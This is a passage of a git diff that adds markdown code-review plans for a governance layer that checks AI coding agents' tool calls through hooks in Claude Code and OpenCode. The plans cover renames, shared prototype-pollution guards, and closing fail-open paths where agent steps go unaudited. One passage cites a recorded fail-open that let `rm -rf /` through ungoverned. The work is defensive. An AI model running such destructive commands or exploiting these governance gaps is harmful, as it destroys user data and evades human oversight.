host). **Every task in this plan +must preserve that: do not modify `hosts/claude-code/acs-hook.ts` or +`hosts/claude-code/claude-code.hookmap.yaml`.** Additive test files under +`hosts/claude-code/test/` are permitted, as V5 already does. + +`scripts/verify-zero-diff.sh` mechanically checks the `+0/-0` claim. Run it. + +## Global Constraints + +1. **R3.2 — the adapter names no host field.** `test/invariants.test.ts`'s + "the host adapter's source names no host output field" gate fails if any of + `permissionDecision`, `permissionDecisionReason`, `updatedInput`, + `updatedToolOutput`, `hookSpecificOutput`, or **`refuse`** appears in + non-test `.ts` under `packages/host-adapter/src` (comments stripped, so a + doc comment may still explain the boundary). Any rule about which host key + means "refusal" stays in `hosts/opencode/`. +2. **R3.4 — no per-host fork.** Shared behaviour lands in + `packages/host-adapter/src`, never in a host-specific copy. +3. **Global Constraint 1 (from V5) still binds:** `packages/guardian/src`, + `packages/agt-bridge/src`, `policy/lib/`, `agt.lock`, `mapping.yaml`, and + `hosts/claude-code/` are frozen. The adapter is not on that list. +4. **`hosts/opencode/acs-plugin.ts` exports exactly one symbol** (`AcsPlugin`). + `test/invariants.test.ts` pins this: OpenCode's plugin loader calls every + export as a candidate factory, and a single non-function export makes the + real factory never run at all. A new module beside it is the way to add code, + not a second export. +5. **Load-time over posture-time.** A fault that is decidable from the hookmap + file alone must throw at load, not from a payload path — a throw reached from + `buildEnvelope`/`governStep` is caught by `governStep` and answered by the + deployment's NEGOTIATED delivery posture, and a negotiated `proceed` there is + an ungoverned step. This slice has hit that seam five times; do not add a + sixth. +6. **Comment discipline.** This repo's comments state measured facts and retract + claims that stop being true. When a task invalidates an existing comment + (including this plan's own quoted text, `docs/shaping/`, `slices/v5/README.md`, + `docs/demos/v5-runbook.md`, and the hookmap YAML headers), update it in the + same commit. Do not leave a comment describing the code as it was. +7. **Verification:** `bun test` (baseline: 618 pass, 1 skip, 0 fail) and + `bun run typecheck` (baseline: clean) must both pass at the end of every task. +8. **Mutation-test each new gate.** This repo's convention: after adding a check, + reintroduce the fault it refuses and confirm the new test fails naming the + file and the term. Record that in the report. + +--- + +## Task 1 — `loadHookmap` returns a normalised hookmap; rename the request-gate assert + +Answers threads 3773262492 (Important · tell, don't ask) and 3773262465 +(Important · intention-revealing names). + +**File:** `packages/host-adapter/src/build-envelope.ts` (plus its tests). + +### 1a. Normalise `tools` + +`assertToolsWellFormed` treats YAML `null` as absent, but only inside its own +local variable (`const rawTools = (entry as {tools?: unknown}).tools ?? undefined`). +The `Hookmap` object `loadHookmap` returns still carries `tools: null` on that +entry, so every consumer must repeat the `?? undefined` dance — +`hosts/opencode/acs-plugin.ts`'s `isGovernedTool` does exactly that today, and +its doc comment records the `TypeError: null is not an object` crash that +happened when it did not. + +Make `loadHookmap` return a **normalised** `Hookmap`: an entry whose `tools` key +is present-but-`null` comes back with the key **omitted**, so callers read a +well-formed role rather than a YAML parse tree. + +- Do the normalisation without mutating the parsed object in a way that hides + the original from the other load-time checks that run after it — pick the + ordering that keeps every existing check seeing what it already sees. +- `tools: null` must still mean "every tool", exactly as `undefined` does; this + is a representation change, not a semantic one. +- A malformed `tools` (not a non-empty list of non-empty strings) still throws, + unchanged. + +### 1b. Rename `assertRequestGateUnscopable` + +After V5's Task 5 reversal the function no longer asserts unscopability — the +shipped request gate **is** scoped (`tools: [bash]`), and the function only +refuses `arguments` + `outputs`. The name now teaches a reader that the adapter +forbids scoping a request gate, and that reader will delete `tools: [bash]` from +the shipped hookmap or skip the tool check. + +Rename to **`assertRequestGateDeclaresNoOutputs`**. Update its own doc comment, +`loadHookmap`'s doc comment (which lists it by name), and every other place the +old name appears in prose (`hosts/opencode/acs-plugin.ts`'s header names it, and +so may `docs/` and `slices/v5/README.md` — grep for it). + +### Verification for Task 1 + +- A test that a hookmap entry with a bare `tools:` key loads and comes back with + `tools` absent — not `null`. +- A test that `tools: null` and no `tools` key at all are indistinguishable to a + consumer. +- The existing malformed-`tools` throw tests still pass unchanged. +- Mutation-test the normalisation: remove it and confirm a test fails. + +--- + +## Task 2 — the adapter enacts `tools`; both shims inherit the skip + +Answers threads 3773262471 (Important · depend on roles) and 3773262477 +(Important · companion). Depends on Task 1. + +**The finding:** `tools` is shared hookmap vocabulary, shape-checked by the +adapter, but **honoured only by the OpenCode shim**. Claude Code never reads it +(its matcher lives in `settings.json`). `HookmapHookEntryCommon.tools`'s own doc +comment says the quiet part: "Whether a given invocation's tool is actually IN +this list is the host shim's concern (each gate honouring it), never this +module's." A third host copied from `acs-hook.ts` will load `tools: […]` and +govern every tool anyway, and the fault that follows is answered by the +negotiated posture — the fail-open shape this slice has hit repeatedly. + +Contrast `mirrors`, which the adapter both shape-checks (`build-envelope.ts`) +and *uses* (`result-output.ts`). `tools` should have the same division. + +### What to build + +Move the **decision** into `packages/host-adapter/src`, as a named role both +hosts depend on rather than a rule one host remembered: + +1. An exported predicate on the adapter's barrel that answers "does this gate + govern this tool?" from the hookmap — the single implementation of the rule + that `undefined` (and, after Task 1, an omitted key) means "every tool". + `hosts/opencode/acs-plugin.ts`'s `isGovernedTool` is **deleted** and its call + sites call the adapter's predicate instead. Carry the parts of + `isGovernedTool`'s doc comment that are still true onto the adapter function + — what the skip costs, and why it is right anyway — since that reasoning is + now the adapter's to state. +2. **`governStep` honours it too**, before envelope construction: a step whose + tool this gate's `tools` list does not name returns an empty `HostOutput` + without building an envelope, without contacting the Guardian, and without + writing an audit entry. This is the safety net that makes a third host + inherit the skip instead of copy it. + +### The property you must not regress + +The OpenCode shim's early return currently happens **before** +`assertUsableSessionId` and **before** `resolveSessionConfig` — so an +out-of-scope tool costs no session validation and no handshake round trip. That +ordering is deliberate and documented. Keep the shim's early return (now calling +the adapter's predicate) so that property survives; `governStep`'s own check is +belt-and-braces for a shim that forgets, not a replacement for the shim's. + +Both checks calling one adapter function is the point. Two copies of the rule is +the thing this task removes. + +### What must not change + +- Claude Code's hookmap declares **no** `tools` key (verified: zero matches), so + this task is a no-op for host #1 and `hosts/claude-code/` stays `+0/-0`. Run + `scripts/verify-zero-diff.sh` and report its output. +- An ungoverned tool must remain **unaudited and silent** at both gates, exactly + as it is today — do not start writing audit entries for skipped steps. +- `assertUsableTool` still runs BEFORE the tool check in the shim: a malformed + `tool` is unreadable, not out of scope, and `Array.prototype.includes` answers + a silent `false` for one. That ordering, and its doc comment, stay. + +### Verification for Task 2 + +- A test at the adapter level that `governStep` returns an empty `HostOutput`, + contacts no Guardian, and writes no audit entry for a tool outside a gate's + `tools` list. +- A test that a gate declaring no `tools` governs every tool (host #1's case). +- The existing OpenCode request-gate and result-gate skip tests still pass. +- Mutation-test `governStep`'s check: remove it and confirm a test fails. + +--- + +## Task 3 — one reserved-segment guard, on the adapter's barrel + +Answers thread 3773262486 (Important · duplication vs wrong abstraction). + +**The finding:** `hosts/opencode/apply-host-output.ts` carries the **fourth** +copy of `RESERVED_SEGMENTS` (`__proto__`, `constructor`, `prototype`) — the +others are in `packages/host-adapter/src/hookmap-path.ts`, +`packages/host-adapter/src/render-decision.ts`, and +`packages/host-adapter/src/modifications.ts` — because the adapter keeps them +all module-private. Worse, `modifications.ts`'s own doc comment *names this +OpenCode file* as where the value-side half of the guard lives: a shared package +pointing at one host's source for a security invariant. + +A security invariant that must not drift should be one exported thing the shim +depends on as a message. + +### What to build + +Export from `packages/host-adapter`'s public surface: + +- the reserved-segment **names** (one definition), and +- the **value-tree walker** that refuses a rendered value owning one of those + keys at any depth — the job `assertNoReservedSegments` does in both + `modifications.ts` and `apply-host-output.ts` today. + +`hosts/opencode/apply-host-output.ts` deletes its copies and imports them. +`modifications.ts` uses the shared definition and its doc comment stops pointing +at `hosts/opencode/`. + +### The distinction you must preserve + +There are **two different jobs** wearing the same three names, and this task +must not merge them: + +- **Path segments** — refusing a hookmap *path* whose segment names prototype + machinery. `hookmap-path.ts` (a reader of the JSONPath-lite notation) and + `render-decision.ts`'s `place` (a WRITER over dotted output paths that creates + levels) do this. PR #13's review response deliberately kept `render-decision.ts`'s + copy separate on the grounds that folding it in "would have merged two path + languages rather than de-duplicating one". **That ruling stands** — do not + fold `render-decision.ts`'s path-segment check into the value-side walker. +- **Value trees** — refusing a rendered *value* that owns such a key. + `modifications.ts` and `apply-host-output.ts` do this. These two, plus the + shared name list, are what this task unifies. + +Sharing the three *names* across both jobs is fine and desirable; sharing the +*checks* is not, because they check different things. + +### Constraint check + +The three names are JavaScript prototype machinery, not any host's field names, +so putting them on the adapter's barrel does not touch R3.2's vocabulary gate. +Confirm by running the suite. + +### Verification for Task 3 + +- The existing prototype-pollution tests on both sides of the seam + (`hosts/opencode/test/apply-host-output.test.ts` and + `packages/host-adapter/test/modifications.test.ts`) pass unchanged. +- A test that the shim's refusal now comes from the shared guard. +- Mutation-test: remove a name from the shared list and confirm tests on **both** + sides fail. + +--- + +## Task 4 — the applier names its host, and reads its own keys + +Answers threads 3773262481 (Important · naming symmetry) and 3773262488 +(Important · messages over data). Both are in +`hosts/opencode/apply-host-output.ts`; do them together. + +### 4a. Name the host (thread 3773262481) + +Delivery is the one piece each host owns. Host #1 names itself: +`asClaudeCodeOutput`. This one is called `applyHostOutput` — a generic name — +while knowing four OpenCode keys (`refuse`, `reason`, `args`, `result`), and it +prefixes every error `acs-plugin:` from a *different* file. A later reader will +try to move it into `packages/host-adapter/`, which R3.2 forbids. + +Rename to **`applyOpenCodeOutput`**, the twin of `asClaudeCodeOutput`. Fix the +error prefixes to name this module rather than `acs-plugin`. Update +`test/invariants.test.ts` where it names the old symbol (grep — it appears in +both prose and a fixture string), `hosts/opencode/test/apply-host-output.test.ts`, +and every comment naming it across `hosts/`, `docs/`, and `slices/v5/README.md`. + +### 4b. Two gates, two messages (thread 3773262488) + +`LiveHookObjects = { args?: …; result?: … }` stuffs two gates into one optional +bag, and pass 1 still *asks* `live.args !== undefined` / `live.result !== undefined` +— a **prototype-chain read**, which is the exact class of gap pass 3 already +closed for `output` by moving to `Object.hasOwn`. Pass 1 checking one basis while +pass 3 checks another is the inconsistency; a polluted `Object.prototype.args` +is the hazard the fix already acknowledges. + +Reshape to a discriminated union — `{ gate: "request"; args } | { gate: "result"; result }` +— so a gate is *told* which live object it has rather than the applier asking a +bag. If the union genuinely does not fit the two call sites, the fallback the +reviewer offers is two functions (`applyToArgs` / `applyToResult`); either way, +**every remaining presence check on `live` must use `Object.hasOwn`**, matching +pass 1's `Object.keys` basis and pass 3's existing `Object.hasOwn(output, …)`. + +The all-or-nothing guarantee — pass 1 validates everything before pass 3 assigns +anything — is load-bearing and must survive the reshape intact. So must the +"a key at a gate that was not handed the live half it targets throws rather than +being skipped" behaviour. + +### Verification for Task 4 + +- Existing `apply-host-output.test.ts` cases pass (renamed as needed). +- A test that a polluted `Object.prototype.args` cannot make the request-gate + path read a live object it was not handed — the `live`-side twin of the + existing pass-3 test. +- A test that a `result` key rendered at the request gate still throws naming the + key. +- Mutation-test the `Object.hasOwn` change on `live`. + +--- + +## Task 5 — CRITICAL: refuse the class of hookmap whose result-gate deny cannot withhold + +Answers thread 3773262461 (**Critical** · naming symmetry / SRP). Depends on +Task 4's rename. + +### The finding, verified + +`assertRefusalRendersUnconditionally` (`hosts/opencode/acs-plugin.ts`) is only +the **request-gate half** of Claude's `assertHostAcceptsEveryDecision`. It skips +any entry without `arguments` (`isRequestGate`), so `tool.execute.after` is never +asked whether `deny` can actually withhold. + +Upstream, `assertRenderableDecisions` (the adapter's own load-time check) requires +only a non-empty `output` block. So a result-gate `deny` declaring only +`reason.text` **loads clean**. At runtime the applier's pass 1 skips `reason`, +pass 2a finds no `refuse`, pass 2b writes an `ACS_DEBUG` stderr line at most, and +pass 3 has no `result` to merge: **it applies nothing and throws nothing**, and +the tool's output — the leaf *and* its `metadata.output` mirror — is delivered. + +That is the empty-render fail-open closed at the request gate (V5 fix round 1, +Critical 1), one seam later, **on the gate that holds the secret**. The shipped +`opencode.hookmap.yaml` is fine — its result-gate `deny` and `modify` both +declare `result: { from: applied_output }` — but the *class of hookmap* is not +refused at load. + +The code's current defence for skipping the result gate is its own doc comment: +"the result gate's own `deny`/`modify` are protected a different way, by +construction (`withResultOutput`, result-output.ts, host-agnostic)". That +guarantee is about the **decision message** carrying a non-empty `applied_output`. +It says nothing about the **hookmap** declaring an output path that lands it. The +comment is wrong and must be corrected, not merely worked around. + +### What to build + +One per-host table, the same role Claude's `HOOK_EXPECTATIONS` plays, named +**`assertHostHonoursEveryDecision`** — replacing `assertRefusalRendersUnconditionally`: + +- **request gate** (an entry declaring `arguments`): `deny`, `ask`, and `defer` + must each declare an unconditional (`value:`) output field whose **leading + path segment is `refuse`**. This is the existing check; preserve it exactly, + including the reasoning in its doc comment about *which key* the unconditional + field sits under — an unconditional field at `reason.text` or `args.…` renders + a non-empty block without making the decision a refusal. +- **result gate** (an entry declaring `outputs`): `deny` and `modify` must each + declare a `result` output field — the only key at that gate that withholds, + because `applyOpenCodeOutput` merges `result` onto the live object and a throw + there does not scrub OpenCode's session record. +- A hook the table has no entry for is a **throw, not a skip** — the same rule + Claude's `expectationFor` states, and for the same reason: an unchecked hook is + an unchecked fail-open. +- A decision the hookmap does not declare at all is still not this check's + business (`ask`/`defer` are optional; `assertRenderableDecisions` requires only + `allow` and `deny`). + +Keep the function in `hosts/opencode/` — it is host #2's rule about host #2's +keys, and Global Constraint 1 forbids `refuse`/`result` semantics in the adapter. +The error message must name the hookmap path, the hook, the decision, and what to +add, in the style the existing one already uses. + +### Correct the comments this invalidates + +At minimum: `assertRefusalRendersUnconditionally`'s own doc comment and +`MUST_RENDER_UNCONDITIONALLY`'s, the "FOUR THINGS EVERY GATE TASK MUST DO" third +bullet in `acs-plugin.ts`'s header (which asserts the result gate needs no +equivalent check), `apply-host-output.ts`'s doc comment on the `refuse` key, and +`opencode.hookmap.yaml`'s own header. Grep for the claim; it is repeated. + +### Verification for Task 5 + +- **A test that the fail-open is real before the gate exists** — a fixture + hookmap whose result-gate `deny` declares only `reason.text`, driven through + the applier, showing nothing applied and nothing thrown. This is the test that + proves the finding rather than assuming it. +- A test that `loadHookmap` + the new gate refuses that same fixture at load. +- A test that the shipped `opencode.hookmap.yaml` passes the gate unchanged. +- A test that a hook the table has no entry for throws. +- Mutation-test: restore the request-gate-only scoping and confirm the new + result-gate test fails naming the file and the decision. + +--- + +## Task 6 — one exchange, two hook methods + +Answers thread 3773262484 (Important · duplication). Do this **last** — it +restructures the code Tasks 4 and 5 touch. + +**The finding:** `"tool.execute.before"` and `"tool.execute.after"` in +`hosts/opencode/acs-plugin.ts` perform the same seven moves — validate `tool`, +honour `tools`, validate `sessionID`, assemble the payload, `resolveSessionConfig`, +`governStep`, apply the rendered output. OpenCode's `Plugin` type needs two method +names; it does not need two copies of the exchange. Host #1 already has the better +shape: one `main()`, with the event name read from the payload. + +### What to build + +One internal `async function handle(hookEventName, payload, live)` (name it as +fits) called from both methods, carrying the seven shared moves. **Payload +assembly stays at the edge** — the two gates genuinely differ there: + +- request gate: `args` comes off the mutable `output` object (the only place + OpenCode puts it at that gate); +- result gate: `args` comes off `input` directly, and `result` is the whole live + `{title, output, metadata, attachments}` object. + +Constraint 4 still binds: `acs-plugin.ts` exports exactly one symbol. `handle` +is module-private, or lives in a new non-exported-from-`acs-plugin.ts` module. + +### What must survive verbatim + +The two hook methods' doc comments carry measured facts that are **not** +duplication and must not be collapsed away: + +- why a throw at `tool.execute.after` does not mean what it means at the request + gate (OpenCode discards the plugin's mutations and rebuilds `metadata` from its + own pre-hook copy, so a secret scrubbed by a throw does not stay scrubbed on + disk); +- why the result gate is scoped `tools: [bash]` (`metadata` is per-tool, measured + across four tools on OpenCode 1.18.15); +- the missing-`metadata.exit` posture-proceed analysis; +- the two `sessionId` forms (raw for the audit entry, uuid for + `resolveSessionConfig`) and why mixing them is the bug class the note exists to + prevent. + +Relocate them to where they still describe their subject. Losing one of these to +a refactor would be a worse outcome than the duplication this task removes. + +### Verification for Task 6 + +- Every existing test under `hosts/opencode/test/` passes unchanged. +- The ordering assertions still hold: `assertUsableTool` → tool check → + `assertUsableSessionId` → payload → session → `governStep` → apply. +- `test/invariants.test.ts`'s one-export gate still passes. diff --git a/docs/superpowers/plans/2026-08-14-review-round-4.md b/docs/superpowers/plans/2026-08-14-review-round-4.md new file mode 100644 index 00000000..9ced60dd --- /dev/null +++ b/docs/superpowers/plans/2026-08-14-review-round-4.md @@ -0,0 +1,423 @@ +# Review round 4 — V5 twin names, one adapter seam, and three scaffold name freezes + +Source: Sandi Metz re-review, 2026-08-13T18:27Z. Nine unanswered inline threads +(PR #14 ×5, #15 ×1, #16 ×1, #17 ×2) plus one residual stated in PR #14's review +body. + +Verdict quoted on #14: *"Metz-ready to stack V6 with three names still to +freeze."* Nothing in this round is a fail-open. Four are twin-role naming, one +is an adapter seam (`tell, don't ask`), one is a store factory wearing its +parent's name, and three are naming commitments to freeze in scaffold READMEs +**before** any implementation exists to invent names at. + +## Global Constraints + +These bind every task. A task that cannot meet one stops and reports rather +than loosening it. + +1. **Host #1's shipped source is +0/−0 for this whole stack.** + `scripts/verify-zero-diff.sh` pins `hosts/claude-code/[^/]+\.(ts|yaml)$` + (deliberately excluding `hosts/claude-code/test/`). It must stay clean. + Any adapter signature change must therefore be backward compatible with + `acs-hook.ts:662`'s existing call. +2. **Frozen paths**: `packages/guardian/src/`, `packages/agt-bridge/src/`, + `policy/lib/`, `agt.lock`, `mapping.yaml`, `hosts/claude-code/`. +3. **R3.2 — the adapter names no host output field.** The vocabulary gate in + `test/invariants.test.ts` bans `permissionDecision`, + `permissionDecisionReason`, `updatedInput`, `updatedToolOutput`, + `hookSpecificOutput`, `refuse` in non-test `.ts` under + `packages/host-adapter/src`. +4. **A rename is not done until every comment naming the old symbol is + updated.** This codebase's doc comments are load-bearing prose that other + comments cite by name. `git grep` the old name after the edit; zero hits + outside `docs/superpowers/` is the bar. +5. **Comments state measured facts.** No line counts, file counts, or diff + stats — three went stale in three consecutive commits last round, twice + inside the commit correcting them. A claim that outlived what it described + is a defect, not cosmetics. +6. **Green bar**: `bun test` (baseline 740 pass / 1 skip / 0 fail — never + fewer passing), `bun run typecheck`, `bun run verify:zero-diff`, + `bun run verify:pin`. Use `bun`, never `npm`. +7. **Docs**: each `slices/vN/README.md` declares + `docs/shaping/acs-reference-impl-slices.md` §VN *authoritative for this + slice's scope*. A README commitment that contradicts the master doc is a + contradiction to fix in **both**, and `docs/shaping/acs-reference-impl-shaping.md` + Detail C (the affordance table and its mermaid graph) must stay in sync. + +## Branch layout + +Tasks 1–4 land on `slice/v5` (PR #14). Tasks 5, 6, 7 land on `slice/v6`, +`slice/v7`, `slice/v8` respectively. The upper three are rebased onto the new +`slice/v5` tip **after** Task 4 completes and before Task 5 starts. + +--- + +## Task 1 — take Claude's stem for the twin, and name the extracted exchange + +Branch: `slice/v5`. Files: `hosts/opencode/acs-plugin.ts` (+ any test naming +these symbols). + +Two Important findings, one file, both pure renames. + +**1a — `assertHostHonoursEveryDecision` → `assertHostAcceptsEveryDecision`** +(thread `3778055507`, `acs-plugin.ts:1351`). + +> The twins now split the verb (`Accepts` vs `Honours`) on a shared +> `assertHost*EveryDecision` stem. A third host will invent a third. Claude is +> frozen +0/−0, so this shim should take Claude's stem. Mechanism difference +> stays in `HOOK_EXPECTATIONS`. + +Host #1's `hosts/claude-code/acs-hook.ts:563` already owns +`assertHostAcceptsEveryDecision` and is frozen — so host #2 moves, and the two +hosts end up with same-named functions in two files. That is the intent: one +name for one role, mechanism difference expressed in data +(`HOOK_EXPECTATIONS` on host #1, `CARRIED_AT_REQUEST_GATE` / +`CARRIED_AT_RESULT_GATE` on host #2), not in the verb. + +Comments in `acs-plugin.ts` currently distinguish the two by *name* in at +least these places: 64, 169, 189, 260, 912, 1350, 1421, 1706, 1735, plus +`apply-host-output.ts:29` and `:54`. Every one that used the difference in +verb to mean "the other host's" must now say which file it means. + +**1b — `handle` → `runExchange`** (thread `3778055513`, +`acs-plugin.ts:1638`). + +> The comment is the name: "the one exchange both gates run." `handle` says a +> callback fired. Claude's twin is `main()` — a process entry, correctly +> named. This extracted function is not a program entry. Rename: +> `runExchange` / `governExchange`. Leave `main` on Claude. + +Use `runExchange`. Call sites: 1776, 1876. + +**Verification**: `bun test`, `bun run typecheck`, `bun run verify:zero-diff`. +`git grep -n 'assertHostHonoursEveryDecision\|function handle\|handle(' +hosts/ packages/ test/` returns nothing naming the retired symbols. + +--- + +## Task 2 — one noun per role, and a file named for what it holds + +Branch: `slice/v5`. Files: `hosts/opencode/apply-host-output.ts` (renamed), +`hosts/opencode/acs-plugin.ts`, `hosts/opencode/test/apply-host-output.test.ts` +(renamed). + +Two Minor findings. Both are naming; neither changes behaviour. + +**2a — `LiveHalf` is a second name for `LiveHookObjects`** (thread +`3778055520`, `acs-plugin.ts:1574`). + +`acs-plugin.ts:1574` currently reads +`type LiveHalf = Parameters[1];` — a structural +alias for a type the applier already names. Export `LiveHookObjects` from the +applier (`apply-host-output.ts:226`, currently module-private) and use it +directly at `acs-plugin.ts:1588`. Delete `LiveHalf`. + +The doc comment at `acs-plugin.ts:1564-1573` explains *why* the alias existed +(the applier's type was module-private). That reason is gone; the comment goes +with it rather than being reworded to describe a type that is now simply +imported. + +**2b — the file is still the generic "host"** (thread `3778055527`, +`apply-host-output.ts:458`). + +> Function is now `applyOpenCodeOutput` (twin of `asClaudeCodeOutput`). The +> file is still `apply-host-output.ts` — the generic "host" that invited +> moving this into the adapter. Rename: `apply-opencode-output.ts`. + +`git mv hosts/opencode/apply-host-output.ts hosts/opencode/apply-opencode-output.ts` +and `git mv hosts/opencode/test/apply-host-output.test.ts +hosts/opencode/test/apply-opencode-output.test.ts`. Update every import and +every comment citing the path by name (`git grep -n 'apply-host-output'`). + +**Verification**: `bun test`, `bun run typecheck`, `bun run verify:zero-diff`. +`git grep -n 'apply-host-output\|LiveHalf'` returns nothing outside +`docs/superpowers/`. + +--- + +## Task 3 — `governStep` is told the tool it was already scoped on + +Branch: `slice/v5`. Files: `packages/host-adapter/src/govern-step.ts`, +`hosts/opencode/acs-plugin.ts`, tests. + +Thread `3778055539`, `govern-step.ts:339`. Important, `tell, don't ask`, and +the only task in this round with a design decision in it. + +> The `tools` rule is in the adapter now — the prior finding is paid. +> Residual: the shim still asks `governsTool` with OpenCode's `input.tool`, +> then `governStep` asks again with whatever `tool_name` resolves. Two +> questions, two sources. The early shim ask is justified (skip handshake). +> The divergence is not: a hookmap that pointed `tool_name` elsewhere used to +> proceed in the shim and return `ungoverned` here. `assertEntryMatchesGate` +> closed that for `$.tool`; a third host copying the two-ask pattern will +> re-open it unless `governStep` is *told* the already-checked tool. + +### What is there now + +`governStep` (`govern-step.ts:422`) derives the tool itself: + +```ts +const scopedTool = toolNameFor(hookmap.hooks[hookEventName], payload); +if (scopedTool !== undefined && !governsTool(hookmap, hookEventName, scopedTool)) { + return { output: {}, decision: null, stage: "ungoverned" }; +} +``` + +`governsTool`'s own doc comment (`:305-322`) argues *for* the two-source +shape — "ONE RULE, BUT NOT ONE ARGUMENT" — and records the measured fail-open +it produced: with `tool_name: $.args.command` beside `tools: [bash]`, the shim +answered TRUE on `input.tool` and proceeded, `governStep` resolved a different +name, answered FALSE, and returned `ungoverned` — no Guardian request, no +decision, no audit entry, `rm -rf /` through. Today that specific hookmap is +refused at load by host #2's `assertEntryMatchesGate`. The finding is that the +refusal lives in one host's shim, and the pattern that needs it lives in the +adapter. + +### The rule to implement + +**When the caller has already scoped the step, `governStep` scopes on what it +was told and does not ask a second source.** + +1. Add an optional field to `GovernStepInput` (`govern-step.ts:147`) naming + the tool the caller already checked. `scopedTool` is the suggested name — + it matches the existing local and the verb `governsTool` uses. Rename the + local if that collides. +2. When the field is present, that value is what `governsTool` is asked + about. `toolNameFor` is not consulted for the scoping question. A + divergence between it and `tool_name` is then no longer a silent skip: the + step is governed, the envelope is built from `tool_name` as before, and the + Guardian is asked and audited. A wrong envelope is a different defect, + already owned by `buildEnvelope` and the hosts' load gates; a silent + unaudited skip is the one this closes. +3. **When the entry declares a `tools` list and the caller did not tell, + refuse.** This is what makes the fix structural instead of optional: a + third host copying the two-ask pattern gets a loud failure rather than the + old divergence. The fault is decidable from the hookmap entry and the call + arguments with no payload, so **the throw must not be answerable by the + negotiated posture** — verify it sits outside the `try` that + `resolveByPosture` catches, the way the existing hook-entry guard at + `:459` does. Under `proceed`, a posture-answered throw is an ungoverned + step, which would make this fix a fail-open of its own. +4. Host #1 declares no `tools` at either gate, so it never reaches (3) and its + call at `acs-hook.ts:662` stays valid unchanged. That is why the field is + optional rather than required. `verify-zero-diff` proves it. +5. Host #2's two shim call sites pass `input.tool` through to `governStep`. +6. **`assertEntryMatchesGate` stays.** A load-time refusal beats a runtime + one, and it still says something this change does not: that host #2's + hookmap must read the field host #2 feeds. Say so in a comment rather than + deleting it as now-redundant. + +### Measure before you write the rule + +Reproduce the fail-open the existing comment records — `tool_name: +$.args.command` beside `tools: [bash]`, driven through `governStep` directly +(bypassing host #2's load gate, which refuses that hookmap) — and record what +`stage`, Guardian call count, and audit event count it produces before and +after. The report states both. + +Then update `governsTool`'s doc comment: the "ONE RULE, BUT NOT ONE ARGUMENT" +paragraph and "Nothing here can detect that divergence" are now describing +code that no longer exists. Same for `acs-plugin.ts:283-303` and +`:837`/`:877`/`:1054`. + +**Verification**: `bun test`, `bun run typecheck`, `bun run verify:zero-diff`, +`bun run verify:pin`. New tests pin (a) told-tool scoping, (b) the refusal in +(3), (c) that the refusal is not posture-answerable, (d) host #1's untold path +unchanged. + +--- + +## Task 4 — the memory store stops wearing the parent's name + +Branch: `slice/v5`. File: `packages/host-adapter/src/session-config.ts` and +its importers. + +From PR #14's review body: + +> **Residual (body — `session-config.ts` is not in this stacked diff):** +> `createSessionConfigStore` is still the memory factory wearing the parent +> name. Twin of `createFileSessionConfigStore`. Rename +> `createMemorySessionConfigStore`. + +`session-config.ts:46` is `createSessionConfigStore` (in-memory); +`session-config.ts:151` is `createFileSessionConfigStore`. The bare name reads +as the general factory and is not. + +Rename to `createMemorySessionConfigStore`. Update the barrel +(`packages/host-adapter/src/index.ts:60`) and every importer: +`hosts/opencode/acs-plugin.ts`, `hosts/opencode/test/request-gate.test.ts`, +`hosts/opencode/test/result-gate.test.ts`, +`packages/host-adapter/test/client.test.ts`, +`packages/host-adapter/test/session-config.test.ts`, +`test/handshake-declares-what-it-evaluates.test.ts`. + +**`hosts/claude-code/acs-hook.ts` imports `createFileSessionConfigStore` and +the `SessionConfigStore` type — not this symbol.** Confirm that with +`git grep` before editing, and confirm it after with `verify-zero-diff`: this +rename must not touch host #1. + +**Where it lands.** The symbol was introduced in `603882b`, on `slice/v1`. It +is not renamed there: rewriting four PRs currently under review to carry a +rename their reviews did not ask for costs more than it buys, and this stack's +own precedent is that an upstack fix is the answer (PR #13's two threads were +answered by V5 commits). It lands on `slice/v5`, where the review that found +it lives, and the reply says so. + +**Verification**: `bun test`, `bun run typecheck`, `bun run verify:zero-diff`. +`git grep -n 'createSessionConfigStore'` returns only the new +`createMemorySessionConfigStore` (and nothing outside `docs/superpowers/`). + +--- + +## Task 5 — freeze V6's session vocabulary before a fourth `Session*` object exists + +Branch: `slice/v6` (rebased onto the new `slice/v5` tip first). Files: +`slices/v6/README.md`, `docs/shaping/acs-reference-impl-slices.md` §V6 + +index row, `docs/shaping/acs-reference-impl-shaping.md` Detail C rows and +mermaid nodes. + +Thread `3778055787`, Important, `public API vocabulary`. Three collisions and +a set of twins, all to be written down before any V6 code exists. + +1. **`SessionContext` (ACS hash chain) beside shipped `SessionConfig` + (handshake store).** Both spec names stay. Neither is ever shortened to + "session". `SessionContext` does **not** go in `@acs/host-adapter` — it is + Guardian-side state (R6.2, A3). A prior review already spent a round making + `SessionConfig` ≠ `ServerHello`; this is the same hazard one object along. +2. **"Carried by ACS provenance" gives AGT's IFC tags the job of ACS + `Provenance`.** `result_labels` → `input.ifc.source_labels` is an IFC label + store; ACS `Provenance` is `origin` / `derived_from` and already exists on + arguments and outputs. Name the label store (`IfcLabels` / `source_labels`). + If the labels ride a `Provenance` field, the README says so **as a field**, + not as the store. +3. **`persistResultLabels` (N25) will be heard as "result-gate labels."** + Rename to `persistIfcLabels`, twinned with `supplySourceLabels` — the two + halves of the round trip the demo sentence describes. +4. **Twins before code**: `loadSessionContext` ∥ `appendContextEntry`. N22 is + `appendSessionEntry()` in both shaping docs today, which is asymmetric with + any `SessionContext` reader; move it to `appendContextEntry()`. +5. **Session state is injected into *both* `assemblePreToolCallSnapshot` and + `assemblePostToolCallSnapshot`.** Do not reopen N23 as one function that + asks which point it is. + +N22 and N25 appear in `acs-reference-impl-slices.md` (:338, :339), +`acs-reference-impl-shaping.md` (:267, :270) and the mermaid node labels +(:356, :359). All move together — Global Constraint 7. + +Add a **"Names frozen before implementation"** section to `slices/v6/README.md` +carrying 1–5, each as a sentence a future implementer can be held to. The +README's `Implementation goes here.` line stays. + +--- + +## Task 6 — V7 says what the master doc already corrected, and names three different things three ways + +Branch: `slice/v7` (rebased onto the new `slice/v6` tip). Files: +`slices/v7/README.md`, `docs/shaping/acs-reference-impl-slices.md` §V7 + +index row, `docs/shaping/acs-reference-impl-shaping.md` Detail C. + +Thread `3778055923`, Important, `intention-revealing names`. + +**6a — the demo sentence reverts a retraction.** `slices/v7/README.md:3` says +*"Eight intervention points by five verdicts, all green."* The master doc +already retracted that, in its own words: + +> **⚠️ Demo corrected (was "all green").** … A matrix that must be all green +> to count is a matrix under pressure to redefine the claim, which is the +> opposite of what C2 is for. The demo now asks for every cell *resolved*. + +The README is the stale copy. Take the master doc's sentence: *"Eight +intervention points by five AGT verdicts, every cell resolved — green where +ACS v0.1.0 expresses AGT, red with a named reason 